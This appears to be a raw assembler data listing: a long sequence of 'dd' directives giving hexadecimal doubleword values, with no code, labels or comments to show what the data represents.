		dd 38EFC7B0h, 0D4FC2A0Ah, 73A96B8h, 2DB623E9h, 201F7CB0h
		dd 172719CDh, 808B0818h, 2A25D721h, 0FE718Ch, 3DC459E6h
		dd 5F409F15h, 916C5400h, 13EAEEA5h, 0F0F4FC29h,	908F60D4h
		dd 0BE7C64D5h, 0FE0D10A1h, 0D301E924h, 28E185Ch, 1FCD04AEh
		dd 19C7CB28h, 163968Dh,	0E9E00026h, 0B197CE43h,	0F819D2ACh
		dd 3709A4EDh, 0C6632180h, 21325F97h, 69A043EBh,	0A5BC8Bh
		dd 7DE36284h, 5E0706C8h, 0F1A15364h, 1620C0CEh,	1AB8E4h
		dd 0B0DF9774h, 0D0ACA689h, 0A0D41401h, 0FDC97E9Ah, 92C1AC40h
		dd 7A7A59h, 18DE40C5h, 4113DCAFh, 906A1900h, 0FB576CD1h
		dd 8D22C777h, 0A056F7D9h, 8AEFA17Eh, 386A5900h,	0E490F8BDh
		dd 2EECF94Ah, 0A6F444h,	0D0E26B86h, 0AE214F12h,	85DBFC00h
		dd 23E73335h, 0FF4C001Fh, 5A91AB9h, 4800D297h, 542178CAh
		dd 63676Ah, 6C71D1EDh, 6852C6F5h, 0FDEB8000h, 0CA577847h
		dd 0B9BB0F63h, 0E1400CF9h, 8848E707h, 1D8E3Fh, 74E9E409h
		dd 0E8732EB4h, 97DA0FA1h, 2F81DFF5h, 806B2D32h,	0CD0AD858h
		dd 1F7890A3h, 8C58A7E7h, 0ED10D265h, 76FAE300h,	0E2B886E6h
		dd 0CA050B5h, 0BBB3003Bh, 765C60BFh, 0D37C1781h, 0DE9BFB00h
		dd 0E4107E8Fh, 0CD2830F1h, 0DB0D9C80h, 1154F500h, 0E53E6EE0h
		dd 6C4B8DDh, 0EC704762h, 8900E9CBh, 4A630ACh, 0BB9DD8h
		dd 0AD730923h, 0B56EB32Fh, 13580300h, 6D406216h, 1E5C07C2h
		dd 0E066F23Bh, 2CD8A0DBh, 56926C13h, 0BF0FDA1Eh, 0C718581Ah
		dd 44A10022h, 3E1B10AFh, 0CA380531h, 0E3B80028h, 5FD0E996h
		dd 0B8CEA37Ah, 0C68C70h, 95697D82h, 0EEE48A7Fh,	0CA32AA00h
		dd 92599F08h, 0D1DB0036h, 9BA9B445h, 0E272B70Ch, 0CC5E1200h
		dd 74F20B78h, 19FD02EAh, 6DD085E1h, 0EDF05440h,	0F39EBE07h
		dd 0EC47DB09h, 0FC212FC0h, 0A7D00E7h, 2AF7A21Ah, 9800D67Bh
		dd 0C1C2E8AFh, 24861Dh,	77ACD13Fh, 7617BA6Dh, 0A0699200h
		dd 7501421Ah, 479007h, 0E86C74BCh, 0A6844D48h, 0F493961Dh
		dd 7CC03CC0h, 8A3160h, 6B2575BBh, 0F5C56A2Ch, 0E09DD30Fh
		dd 2A05803Bh, 0CFBEC1h,	7AA7373Eh, 100DBF65h, 0D1529300h
		dd 59BD2B9Ch, 51EB17D5h, 0CD5C0E9Fh, 0AEC2C0BFh, 8E44A454h
		dd 0C9CB0D00h, 0DF82BF30h, 0C298A0D5h, 70ED071Eh, 0F03AB173h
		dd 0B88A9E34h, 2713A31Ch, 20EF930Eh, 56C4BC9Ch,	398D0022h
		dd 0F09E1566h, 0D854ED2Eh, 7E00D4E0h, 0A3B7FCEAh, 5A80FAh
		dd 7B705B9Bh, 0C78BC82h, 0D0A5907h, 22102B17h, 0E66A84h
		dd 0A12E278Ch, 0DB3F5A7Fh, 25E7181Eh, 31651B42h, 0D51C4075h
		dd 0B770CBBh, 4600858h,	0AB98DC06h, 3E68542Fh, 59056F3Fh
		dd 42C897DDh, 1E72A3E4h, 5100B754h, 3A8A21A9h, 8F161279h
		dd 0C4841D4h, 0C8D539C1h, 4700AB53h, 0FCA27DDFh, 44B4Eh
		dd 0F80E52E1h, 20FF5C14h, 6E60861Fh, 0FBE647C0h, 22C4F9h
		dd 12C6C0E9h, 1CAE3ECEh, 0D77B701h, 9B03415Ah, 3EFCA8C0h
		dd 5100072Dh, 5FA329ADh, 81D5B33h, 6540C8CCh, 5CFF8396h
		dd 151F0E7Ah, 0E18094D9h, 7188AF2Ah, 6A457300h,	0B159180Ah
		dd 3F77CCFh, 8FFA0581h,	0C9007A44h, 7D37C1DFh, 3A93ABC7h
		dd 0E48A17CFh, 5994FDB9h, 0D053C804h, 0E9872500h, 0C3E8A2E5h
		dd 8A1900A9h, 627954CEh, 9F0066BEh, 9ADFFDF7h, 0E76CEFh
		dd 0A8BCEE8Eh, 34597712h, 0E9F36403h, 0E61A8FFDh, 0AFA94089h
		dd 0CE5A7E16h, 6EDB0900h, 5440C015h, 1FC9CC1Bh,	0C7D64C0Ch
		dd 0E0FDEE34h, 0E2A529C7h, 3A9A800h, 397A4DDFh,	568F18F4h
		dd 81CB857h, 91253200h,	0EAB179BBh, 9379CDh, 4351841Eh
		dd 7F3855A5h, 6D4CE900h, 0D3215C34h, 9BDB13B3h,	91901B0h
		dd 41D7DE6Fh, 10D4EF9Ch, 234C1ACh, 1B2938D2h, 4DE04835h
		dd 490097FCh, 0D9A09DECh, 4C33F36Eh, 320E14B0h,	46605AAEh
		dd 0AC652964h, 8D716902h, 415279B9h, 5CE497F4h,	0FE800A3h
		dd 86343C0h, 60E4B793h,	1629DD00h, 7D66873Bh, 0CC1003Eh
		dd 5E45D646h, 1A0091C7h, 787F52E7h, 90440C2h, 0FF8E0E94h
		dd 0D280490Eh, 0A0BD35F5h, 0EEBCCB12h, 73E1B201h, 3BF87D18h
		dd 1C8939ACh, 0AFC59400h, 0F612A35Fh, 283A7177h, 4916007Ah
		dd 0E7F46095h, 0F19B0046h, 0B468EADCh, 9448E459h, 65582Eh
		dd 283870A5h, 10196EB0h, 70FC99DCh, 5552F800h, 0BA20F489h
		dd 0B2480C70h, 0E2A001EAh, 0C559B60Ch, 0A0A9D050h, 14FFFD0h
		dd 0DEE5B0E6h, 9C763F72h, 4C5FFE1Ah, 65EF7C00h,	159E4C0h
		dd 0EDF1D087h, 20D7B1CEh, 7E009DF8h, 0E20DC771h, 1B07ACh
		dd 0FB6DEEDDh, 250145CFh, 487AF876h, 4D34D300h,	0E0D96FE9h
		dd 1620E83Ch, 1F702C73h, 5C48404Eh, 0A505EEA2h,	0AA6F90A0h
		dd 23E82E79h, 0DC08A000h, 6B96670Dh, 0F7C70087h, 608322A5h
		dd 0D54848DFh, 55730014h, 982AC2B4h, 74030FB8h,	0EC612F87h
		dd 80041956h, 57D25810h, 18B3BCAAh, 28B1E1A5h, 6C095F07h
		dd 0A1450AD7h, 292C764h, 0A88FD260h, 8003E96Ch,	0F8184DCCh
		dd 0BFD0FB69h, 7CF10075h, 1E439967h, 0AC006691h, 0ADEF57FAh
		dd 1D68CD31h, 4049A5FBh, 0A1F67604h, 9114DA5Ah,	0A05BE3h
		dd 8650FCCBh, 835F44h, 0B9745C1Ch, 0CD96EA4Bh, 0A7F8D150h
		dd 0BC376207h, 3CD06379h, 3117803Eh, 0CFF0E7D4h, 0EDF040E4h
		dd 0AD304167h, 802B11A5h, 0AC20063h, 1B864A0Fh,	570F2A8Fh
		dd 9613AF85h, 525D1400h, 4DA7BBh, 0A84F4A28h, 0A651011h
		dd 0AE7B6A00h, 854E6E36h, 11B0078h, 0CD4B602Eh,	0BE04EC0Bh
		dd 339B7B9Ah, 0E0757080h, 6380520h, 8334D93Ah, 0E11F8EFCh
		dd 13406609h, 6A4CA35h,	11C0A06Ch, 8A47003Bh, 7CF9A92Bh
		dd 6B168923h, 843134AEh, 80C02AD2h, 714F00BFh, 5F356477h
		dd 8F00D32Eh, 305CBA1Eh, 5C65EB92h, 29037BD5h, 0BEFAEF32h
		dd 3B270C88h, 0C260FC1Ch, 0B7DA10C7h, 5CED57F0h, 3F10024h
		dd 0D7A6F623h, 0CD00629Fh, 51C55AF7h, 33FA3EA3h, 953959B5h
		dd 0CE7176A8h, 147C4Ch,	199E2A43h, 0B9A96224h, 0B966815Ch
		dd 0E49CFC31h, 76181CABh, 3EE019C5h, 6A8AC014h,	40D9C358h
		dd 0DBD80900h, 0CD9F422Eh, 3CDD48F0h, 6ACEA000h, 0AB4BC1F9h
		dd 0AD508300h, 9A6FE551h, 0F21600F4h, 87BE790Dh, 31019D81h
		dd 55015DEBh, 4EDC43Eh,	0A93DCCh, 4BAF566Dh, 10239BE3h
		dd 1321C009h, 0AB942020h, 259A430h, 574CB948h, 0B468D988h
		dd 741DDF8Ch, 1172CF34h, 965700D7h, 0C00C2FAAh,	4858C398h
		dd 0B9400E5Fh, 2094D421h
		dd 95980D7Eh, 8320D667h, 549A3B60h, 1E48028Eh, 6E57058Ch
		dd 0E5A6188Fh, 5937F9D4h, 389C9070h, 815F0A75h,	0A10E454h
		dd 191C6157h, 0F418A85Ah, 0A200CB5Eh, 448CF322h, 72B28CCh
		dd 0DDA34BACh, 6D00CE61h, 0C97A5FE8h, 32F45E90h, 67B68C00h
		dd 8F25C465h, 0F51E007Ch, 0FB3AA73h, 2FB83CD8h,	0CE35BC00h
		dd 67237870h, 5CDC00DDh, 698CF0D0h, 0C4B0EE12h,	91FF8500h
		dd 8E3A5274h, 8D500187h, 718917A2h, 8BB7D89Dh, 62208000h
		dd 8326DD68h, 32B60058h, 387E45D5h, 0A9F8E6BBh,	87A3D617h
		dd 0DE153E01h, 3A30973Dh, 7A5FAE1h, 0FE179FC1h,	0F35FC0CEh
		dd 105B94Ah, 54C0D358h,	0FCCDE842h, 8D69C0AEh, 0E5C700ACh
		dd 54A63709h, 0B8A015C3h, 12804AE4h, 0E1DA443Dh, 8041AD6Fh
		dd 1C169E5Fh, 0CE21010Bh, 6A73705Bh, 213DFBB4h,	0DE1D00E7h
		dd 0F90F82D4h, 0E54B0071h, 0FB795E66h, 2100EC0Ch, 0A59FBE19h
		dd 1D540E23h, 30C8F3h, 3CFDC6E2h, 0FF00E18Ch, 0A6C9213Eh
		dd 0F0D781CCh, 9238016Ch, 5DE66A57h, 4018E9B6h,	847DF550h
		dd 12FAB0A0h, 19D32430h, 1E15AD3Ah, 8305A87Eh, 11B5387Ah
		dd 6A41A900h, 0CA314D62h, 88480C79h, 21F8E38Ah,	758DD44h
		dd 2681DA6Ah, 0D1086057h, 193022A7h, 515A21E2h,	7C847E75h
		dd 357F0095h, 60D6798Ah, 320E869Ch, 67CD5DC1h, 6835E12h
		dd 0E5FC90F6h, 0FA22033Eh, 4E5A19D3h, 9BD0A7A0h, 0D7571701h
		dd 3F238F69h, 0F15E8DC0h, 31E03D8h, 33EB8AB2h, 8C682DBh
		dd 3E21D661h, 98D71E1Bh, 0E2DCE1h, 0F0F4804Fh, 11C9B6FCh
		dd 0C0BBC3Dh, 30C1D2F2h, 7C8D3A03h, 5D94510Ch, 0B5033E11h
		dd 80E002C0h, 90F6AF1Fh, 21EA6708h, 68612F94h, 0CF164BDFh
		dd 0FBB4B006h, 0C858FFB3h, 0E1CF5050h, 88E005C0h, 9D88F518h
		dd 16F68Ch, 0EE926E5Eh,	393C1D2Eh, 0DBD76301h, 566C599Ch
		dd 98007831h, 3AA85713h, 10601A8Eh, 0EF241E32h,	0CBF2EB00h
		dd 43841334h, 75F849h, 8B6BE87Ch, 0C91672D8h, 8E78AD00h
		dd 0ED48CEDAh, 1ECD0010h, 75016006h, 6D00C268h,	0DEC8237Fh
		dd 6E3F59h, 0A42F56F8h,	0F487BF12h, 2C1DEAE8h, 0AE00F119h
		dd 0A79B2D79h, 82C713F3h, 69CE004Bh, 0E2392958h, 678518C0h
		dd 0F469A35h, 914459E5h, 6F190A07h, 89F00616h, 120D28C0h
		dd 6115ABDDh, 0F00BD020h, 7A1B004Ah, 684779D3h,	0C200F3B1h
		dd 3D59700Dh, 68E5E1FBh, 19F030CBh, 87728E7h, 36AA6F5Fh
		dd 13C4E1C0h, 0A8630337h, 0B1345578h, 0D1A18E66h, 9B028C1Ch
		dd 0C4626C19h, 617E3EC0h, 98903CAEh, 89598109h,	0C086EA2Dh
		dd 21282697h, 0C8445C85h, 0B61CD43h, 3E78CB98h,	0E2957F01h
		dd 0E971349Dh, 0AA122080h, 0EAD37421h, 0ED792900h, 27EB460Dh
		dd 71D50623h, 0B173031Bh, 904E9D02h, 0F7E6ACB5h, 0C7C237C1h
		dd 2FC8EDA0h, 351E063h,	5131032Ah, 5969C457h, 5365B0E7h
		dd 0D2C13EBh, 0B201E622h, 2A1FBC21h, 1447891h, 0D6262B9Fh
		dd 37F8B3F3h, 31A0A016h, 5F858859h, 9880E128h, 27AA0400h
		dd 431F64C4h, 0FE3F1F2Bh, 3CBC0039h, 0C5E02597h, 5D670318h
		dd 2829A879h, 4424661Ch, 3B00754Ah, 7FE00397h, 0CFFB025Ah
		dd 4140A6C1h, 0E517FE19h, 1C7AF3Eh, 2FF14AC5h, 7FC42B5Fh
		dd 550334CBh, 0D6698031h, 31007C70h, 0D525B17Eh, 48E74F91h
		dd 0D7050CFCh, 14AD2E3Dh, 12105494h, 37B40AA8h,	0DA00D80Bh
		dd 0CCDDEF54h, 53172491h, 0AD0FB964h, 16EC5FE9h, 850E2610h
		dd 204D9BB5h, 0F3096B1Bh, 74F43F40h, 0FC102Ah, 0FF301281h
		dd 0A1E685B5h, 0D71D9E00h, 3648DE62h, 339F3CA5h, 0F19CEA01h
		dd 0E420AB60h, 6E041F27h, 0B9315F74h, 0EB839C90h, 0C65B1FD7h
		dd 9C788415h, 6308203h,	93544920h, 745D7258h, 47A02BEh
		dd 18D6DD2Bh, 946F6EE0h, 97AF9E00h, 9DFB2C02h, 0C8595037h
		dd 3FD61D84h, 0DB8EC0D0h, 83AF38CFh, 80331C39h,	0E0C097D8h
		dd 774975h, 5B76694Ch, 52A9D293h, 8109D00h, 0D9AECE3Bh
		dd 0DBB01BABh, 0BC9841D8h, 3703412Eh, 0D16EA191h, 825488C3h
		dd 893B3C69h, 0D5082860h, 8F0CD719h, 19AADCC2h,	217A6317h
		dd 0B18887EAh, 3438F4A4h, 26A281EDh, 3C10442Ah,	0C911AE4h
		dd 0FBCED6E5h, 5E0E3880h, 0A15AF6h, 5D84AE61h, 783E885h
		dd 46AF42D1h, 58119C39h, 0B3C9490Ch, 33DDAEE3h,	5508FBBBh
		dd 8E1F2100h, 83EEAC9h,	4F5301F6h, 4E270492h, 0F8E503B1h
		dd 60C380F5h, 60381041h, 0D23AECF0h, 4DF20322h,	80FB27BCh
		dd 1F9317Dh, 4198EF87h,	4833AF45h, 0C9088644h, 0C4FBE388h
		dd 7FF8408Ch, 768E1C9h,	0B6FD47A5h, 0C08BE199h,	4F7980A4h
		dd 8A161E3Dh, 5CFD1E5Fh, 9087325h, 4607217Ah, 15A8B61Eh
		dd 0E02040E2h, 0A462D3h, 33BEEC30h, 3A69D1BAh, 2BC9554h
		dd 51C2EB19h, 70915018h, 45029380h, 91478A53h, 0E2104338h
		dd 2E031E33h, 0C3A83D6Eh, 0FF1900A5h, 0B1599B0Fh, 1A005A32h
		dd 65889AA3h, 145A8E5h,	4B08437Bh, 40B35E6Eh, 0D5E337B0h
		dd 0AC022h, 0A433635Dh,	98937DBAh, 5B023D06h, 3A93F9Eh
		dd 2346F682h, 3BE18D13h, 3A38ACAFh, 0B96B9200h,	0C0F30FB8h
		dd 7F38A719h, 5892C264h, 8350F13Bh, 5B1F582Bh, 6009BE8Fh
		dd 289121C8h, 74FE1364h, 427F115h, 51BF006Ch, 4BC5FFDEh
		dd 0E8400D4h, 0B21BAF70h, 2E12471Ah, 481C2722h,	63C7CAC0h
		dd 90C06A39h, 97030258h, 6D16B8C3h, 674D4CA4h, 583DE1EEh
		dd 0CD0C5A6Fh, 14E9B88h, 0FA469964h, 0E0D161A2h, 0AF808917h
		dd 9DB30023h, 7C2CFB75h, 9C630ABAh, 0CDE7208h, 9D8B5520h
		dd 0AC779864h, 96E91E02h, 41D90DFDh, 901183D4h,	45A02019h
		dd 0C974048Ch, 626BE3B2h, 4D1E2090h, 0B2C07AC9h, 0CEE50E3Fh
		dd 0F8FF6786h, 985FA210h, 71EF2C45h, 7082C180h,	6EFA35F3h
		dd 0B83D0B05h, 8840DB0Ah, 2BFC6A13h, 0FABB3ADFh, 8C1D8D80h
		dd 0AF355C84h, 39110499h, 0B6C94880h, 0C0914BE3h, 0C981FAC0h
		dd 0D53E03A7h, 26E723BDh, 786984CAh, 4DC810D0h,	0B81B00A6h
		dd 0F72971BBh, 32286927h, 44A034E9h, 0B3127975h, 403A63E8h
		dd 8600F523h, 41940485h, 8CF406CAh, 616627C8h, 0BF883100h
		dd 860BAA6Bh, 0D2A601BBh, 0EFD6901Fh, 807091E3h, 34E2198Eh
		dd 1C3758h, 5464519Ah, 88722F06h, 24D13F00h, 0B7D6582Ah
		dd 6101006Bh, 0DC301E39h, 440796CDh, 0AFB0BE6h,	5E5F66C0h
		dd 0A0A3040Dh, 8059F65Ch, 0CA7B85D0h, 523A2707h, 24E00195h
		dd 1C23DCCCh, 0CC58662Eh, 3940100Fh, 0E06F0E18h, 1A9E658h
		dd 0EDD0E224h, 421008DBh, 9F3040E0h, 0E3BD11C9h, 928F8873h
		dd 0E854001Dh, 0D2019D9Ch, 0E364E504h, 23408C39h, 0F9904F34h
		dd 0A7978400h, 0AFD61FFCh, 943F0F5Fh, 0ACC3AEC7h, 0B6D9E3BFh
		dd 31FC40CCh, 0BD49E0C2h, 0A68A004Ch, 95F2AC53h, 987B4C46h
		dd 31018F23h, 3F8A521Eh, 0F1885D18h, 0DB1E0C3Ah, 6FB04C33h
		dd 0C4F4E22Ah, 81B45809h, 13817D60h, 0DEBB7C42h, 0D8A9D640h
		dd 0F2E4952Ch, 986D960Ch, 632C0183h, 80871E27h,	6CD1F0F5h
		dd 8E335D00h, 0C50B6FE5h, 58F8C15Ch, 30790EDEh,	0FE00394Ch
		dd 96F49AE0h, 589CCDD2h, 4A11A434h, 0CA5F0224h,	9C147428h
		dd 99492320h, 7E267031h, 31CC64h, 0F0F366E8h, 15B851DBh
		dd 0D0E1DA60h, 0C228B2DFh, 10019F48h, 54443467h, 1890ED63h
		dd 93002450h, 0B8E29E7Ch, 2EEBF501h, 29549AD5h,	1854D11Ch
		dd 4BD30062h, 0D99F1C07h
		dd 6900251Fh, 6078C463h, 0C6AB0FBBh, 398D3951h,	42A02C00h
		dd 8C254456h, 0F0300063h, 6FBC12C7h, 29025A13h,	698919D1h
		dd 8B8C427h, 402A1482h,	7222E820h, 208CB06Ch, 1F68C29h
		dd 0B3924B18h, 34EA1928h, 8240C5A6h, 0B23051FCh, 0FB48109Dh
		dd 8A4CE054h, 0AA5B009Dh, 0BC7EC5ACh, 6891E3D9h, 8BF72A02h
		dd 1320408Ah, 53507C3Bh, 8CA2CCDFh, 3E52730h, 925B07FFh
		dd 81E4BFABh, 7E616A4h,	8E63EC60h, 66431A01h, 0E8C3D80Ch
		dd 0EA07CBA2h, 62FFB921h, 704928F1h, 23879DD4h,	7F189CFBh
		dd 0B814321h, 1016BB9Dh, 4A766C84h, 46562461h, 0CBAD0385h
		dd 0DB1ABB98h, 32DD88Fh, 0E8517D68h, 316918DDh,	1302312Ch
		dd 0C8441234h, 0DD4BF880h, 84B1053Ah, 1A7675Dh,	0E2B62E8Ch
		dd 3B8024C3h, 26D03Eh, 0FFA0698h, 0DF9689Dh, 9C54A31Ch
		dd 8D296068h, 60DC5C2Ch, 91D1C4A1h, 0BE052B18h,	73519FB3h
		dd 0DFC65C80h, 302C9249h, 77C17CEAh, 63003DE1h,	3332B73Eh
		dd 197350F5h, 0E86683BCh, 2AA44C4Ah, 9DB7048Ch,	648CFB49h
		dd 8F542C1Fh, 726D3BC8h, 7F05D8C0h, 0C944E2B0h,	0A01038C9h
		dd 0D7002B17h, 0A4FCF6E1h, 2EF7572Ah, 4C588Fh, 9AC54502h
		dd 380812BEh, 119B8AA2h, 0C99D813Ah, 31C6E3B7h,	72701793h
		dd 79670DC9h, 122B03DEh, 0D64CA2AFh, 0E7D1B3B0h, 13723E00h
		dd 4684B0CCh, 0C339C969h, 0AF5C4448h, 1DD72C3Fh, 36C1BC2Eh
		dd 518E4308h, 0FB580105h, 890B86EBh, 26FDF10h, 0E7A29B00h
		dd 6092C440h, 22DF1BDh,	4851D542h, 2048CADBh, 92005C98h
		dd 0EC1C77FEh, 48E41DD2h, 3E3A1C56h, 0DCDF8A14h, 3C007C22h
		dd 349AA46h, 139C5E28h,	672B297h, 503A1364h, 8434C248h
		dd 40989D38h, 0B0C3883Eh, 0D6F821C0h, 37626FDh,	27BB4808h
		dd 7022398Ah, 744BF844h, 0AC8891CEh, 3E8820D4h,	3B4B765Ch
		dd 15723CCh, 18309DE2h,	0C33DD4BDh, 0EBDADE0Bh,	0B0C8AA32h
		dd 20B9960h, 0E0AE00BFh, 0F798DCC7h, 1316B46Dh,	4004D54Ch
		dd 50D9953Bh, 5488D00Eh, 5CC689C0h, 0B18F05C5h,	308E9A5Dh
		dd 0ADCF994h, 0BE28BC09h, 2B6891CFh, 9D088818h,	0C284FB9Ah
		dd 4A00DE78h, 16069D80h, 0ABA5048Ah, 3EE0D400h,	52DCD9C3h
		dd 1100D8D4h, 1E8C7505h, 0E0985CEFh, 17B35114h,	9FB22E0h
		dd 95FE3EE3h, 5F284060h, 8B209766h, 252D31D1h, 0F0776118h
		dd 64BA0B5Dh, 8ED1A099h, 60E4C119h, 56E4EC70h, 904B349h
		dd 8E5E428Bh, 5D4B5D0h,	99A70E46h, 402E04C2h, 33B84014h
		dd 0BB219B16h, 9F31888h, 0C6102492h, 8B7F5EB9h,	800DDFF8h
		dd 0A2A9631Dh, 912BE0B3h, 7435F8C3h, 0CA2CC63h,	3A57B30h
		dd 20A1287h, 7196F830h,	8C6E384Eh, 86154E00h, 8DEAEF91h
		dd 7E1CAF80h, 29A26051h, 8E4BFB72h, 5200209Ah, 0C217F67Fh
		dd 4BDC0233h, 239C2F7Ch, 0A675000Ch, 6B0E47A3h,	7BDC355Dh
		dd 22E08B25h, 2007EBE0h, 203E8C30h, 0C25C8908h,	87435E45h
		dd 0B0E6CF10h, 4B38A72Bh, 52443381h, 4F5831B8h,	9FF6448Ch
		dd 2352A40h, 717222FEh,	2C60D951h, 9D820C82h, 805511D8h
		dd 9ED4495Bh, 0EC5F0017h, 0D8BD5096h, 45045C88h, 845B0E8Ch
		dd 78C6A080h, 820F30B8h, 0B1DEC291h, 0BE39ACA8h, 0B92E430Ah
		dd 0BB09A84Eh, 0E844C802h, 0A4E40ADEh, 40D430A5h, 87A31F2Ah
		dd 0BED258C4h, 4188208Eh, 8D75B8C0h, 8F963B12h,	40534F9Dh
		dd 0EF1BA8F8h, 0DE2EEC9Bh, 6F96A4A3h, 0C04DD408h, 0FB9C9DB6h
		dd 0E09CB45Ch, 0A9D8E50h, 5E438D4Bh, 0E2F98098h, 2428D7A3h
		dd 8FDB1E25h, 0D6F8074h, 20221310h, 6B71B357h, 8C4D8E01h
		dd 0BA5DE8C3h, 7A103832h, 730E03F1h, 0E7B91090h, 8932F420h
		dd 42D618DDh, 2D8320F9h, 397E910Ah, 0C37220E9h,	2053ED4Bh
		dd 9123203Ah, 5C1E8400h, 28F64DCDh, 7AE02FE6h, 0A0B774A7h
		dd 0C7B46D0h, 92AFA68Ah, 0E707B010h, 0D1418C26h, 0CA730860h
		dd 0E3F8CFE1h, 0A0F63A86h, 305B0239h, 3EA11854h, 7BE44046h
		dd 1B0B850h, 92181B63h,	0D1F125F4h, 7E88E01Dh, 0D01D67D1h
		dd 0AE6A4071h, 6322FA00h, 0C7E1396h, 0B9E2061Eh, 68F2F66Eh
		dd 77C43085h, 0ABF05563h, 0CD769015h, 8AD3513Dh, 0C05BD214h
		dd 0C916CE9Eh, 1202244Fh, 0FCE681Fh, 74A8948Fh,	0ECADC300h
		dd 0CDEB1AF9h, 0B51B0141h, 0AEC62002h, 0F0CFFC70h, 35B4341Dh
		dd 7501BC00h, 7656CCCh,	39744743h, 0CDB1B145h, 9F11D8C1h
		dd 980026E8h, 60408289h, 272E32h, 4F669906h, 0F214F601h
		dd 93F5A624h, 46FFA700h, 3418496Dh, 7B113830h, 551DB004h
		dd 8010C09Dh, 0A00C914Ch, 0FEED7C00h, 0E0E68A3Ch, 3E255h
		dd 0CF5FA81Dh, 9EEC8F1Ch, 420129C8h, 82F532Eh, 9DA2BD62h
		dd 22FA6522h, 8E12908h,	0D99944F7h, 5BB01084h, 65141154h
		dd 0DD118C21h, 0BAD2CC00h, 65824FB7h, 4E9DF500h, 0CAF6EA0h
		dd 5AD006Ch, 9BE253CAh,	0BAF07597h, 703B0100h, 0FCE45AE5h
		dd 209D003Fh, 6ED263BFh, 4C00A548h, 69F1C358h, 152303h
		dd 42B74DC0h, 942F6382h, 22D4B407h, 0C930F407h,	59BCF1h
		dd 3ABDEA9Fh, 0D5D88FA8h, 60000EF6h, 977921B6h,	0C9F9A5Bh
		dd 16F534Ah, 0E30C7B18h, 29CEF7CBh, 0DAA900DFh,	6C717891h
		dd 0CF009395h, 5CF9C6A2h, 79FB76Eh, 37F4456Bh, 1DDD3F8Fh
		dd 0E06AEAh, 6BEF2A6Eh,	494286D6h, 71298200h, 0CD5A5725h
		dd 48306054h, 0B2108AD4h, 0B600E8EAh, 2271DD12h, 2FA131h
		dd 4F94BA65h, 411C4221h, 5E6A6806h, 0E0BE97h, 8392DE2Eh
		dd 6DD223D3h, 606F4C06h, 10888921h, 274515h, 0D1D984E0h
		dd 74E53EF2h, 7F9F12D4h, 51100A56h, 0B19C61A4h,	0FF960EFh
		dd 3D7C0C00h, 9F126840h, 187F63h, 32C456E8h, 1EF17F92h
		dd 30340300h, 0BA5F548Ah, 157E00B6h, 0DC66FE79h, 0E700D463h
		dd 0EFE6EB4Eh, 3C2737h,	0B989ECBCh, 0E349C7D8h,	0F9CD0600h
		dd 927485CFh, 157900D6h, 0D1ED30E9h, 2F00A067h,	3859C671h
		dd 227B6F0h, 8EA32842h,	8083787Eh, 20A08B22h, 0C0004DCAh
		dd 3033FC2Fh, 0E8374FD3h, 0E316005Fh, 86C9A7B1h, 830FDA28h
		dd 319882Fh, 9B26A254h,	40FEE873h, 70100F1h, 439660D5h
		dd 0B12EAAFh, 0AB00240Ah, 0BAC797C8h, 9F150258h, 0AC5E7782h
		dd 0D1C9AC80h, 200387Bh, 590FD917h, 0F09522Fh, 4991E697h
		dd 0DDC622E3h, 0EFE93EB8h, 1E8D6E00h, 597546EDh, 317900D8h
		dd 0F1B76AD2h, 0F83F328Fh, 2FAE00B8h, 0C00433E4h, 1F1700FFh
		dd 0F29D7971h, 0D0094EAh, 995B28B6h, 0BFE91Eh, 125AA742h
		dd 0DDD3FE76h, 0CC242B2Ah, 6E8047Fh, 0FF691A00h, 15413AB7h
		dd 96610492h, 0C070C0E2h, 0AF4D8615h, 0C506B200h, 98AEBE33h
		dd 124C9095h, 837DA7h, 296804D5h, 3B1E7666h, 0F8C063F5h
		dd 0B112A308h, 0EB44027Dh, 0A6718D9Bh, 6F65E880h, 0FE0AA4BAh
		dd 0E4861EACh, 79688B00h, 0A9B570h, 39227D20h, 84CF9189h
		dd 0C00AEBF4h, 0ACD80937h, 29C11D80h, 7697F521h, 11830004h
		dd 0B2B6BEC8h, 0E01EF9B5h, 78C0549Bh, 6B05574Dh, 198B00EFh
		dd 0AEA056CFh, 0C5385FB7h, 239E0090h, 7C8FAA28h, 0D88663B1h
		dd 0C0BC3D6Ah, 0B629F4Ch, 3B3C9C00h, 0E632D7B9h, 84002D8h
		dd 292C5996h, 22C82443h, 27003374h, 8CFDE55Fh, 74A5C5Dh
		dd 0A003EF7Dh, 3114D096h, 0E8027B4Ch, 0D13D298Dh, 0A4DC609Eh
		dd 0CDCC009Ah, 0A93587E1h, 4D0051D3h, 0DBD69FEDh, 945CA1h
		dd 58DDF911h, 1040BCA5h
		dd 9E3E600h, 0F41EC149h, 0D9CC0085h, 0EEC098A2h, 211C1A7Ch
		dd 5440B659h, 1C49A648h, 9846264Fh, 46B13AFh, 80F78B10h
		dd 4A68FB08h, 0DED8F101h, 0CA8D8AA5h, 7EAAC48h,	0BC4BE4CEh
		dd 30358012h, 7C019909h, 0C5523CB6h, 45E964B4h,	6C74E8h
		dd 3A98538Fh, 47E2ACB0h, 80DEA4A0h, 0F8131418h,	392B5611h
		dd 2CA622ECh, 3AD60440h, 75B20338h, 6C8085F6h, 4F50ADCh
		dd 0DA85AB4Fh, 5EE48025h, 4000C550h, 72FD7D94h,	1426E8h
		dd 5D84F11h, 6424A01Fh,	0DBE6F0A0h, 777C3E0Eh, 7BA9A0C7h
		dd 9E71FFh, 3678C02Dh, 941E8E34h, 0ADFED303h, 6E292Bh
		dd 0E4756A11h, 284E430Ah, 0F67B9EEAh, 8AB2111Dh, 0F1EDDA80h
		dd 70E778h, 93E20AD1h, 54A3F446h, 60492C00h, 1C8EA66Fh
		dd 0CD1504A1h, 80C9D835h, 99331F5Ch, 3B4F2200h,	0AD8487ACh
		dd 0DF100074h, 0E11E7CE7h, 55014866h, 0C2771F14h, 0D1F8EB6Eh
		dd 1355984Fh, 13805Fh, 72EA3C53h, 2F0047E0h, 0A5CD0B7Dh
		dd 5874A8Bh, 63B9F142h,	0CFE30074h, 57724673h, 0E17C9800h
		dd 0B7E0524h, 913D04E5h, 0C1EDDEDBh, 8E14E333h,	779FA8h
		dd 16450DF1h, 0B227139h, 0CEF32E06h, 0E93C0900h, 0F0009E6h
		dd 46A8D9A5h, 0FEE0B5h,	6EA9A439h, 0B78CBBFBh, 2360E400h
		dd 6A9BCC02h, 99C1123Eh, 4C284034h, 0E96DF5F2h,	8A0F9300h
		dd 0E7E46390h, 30FD0047h, 0E2033E68h, 1B13AB61h, 331401FEh
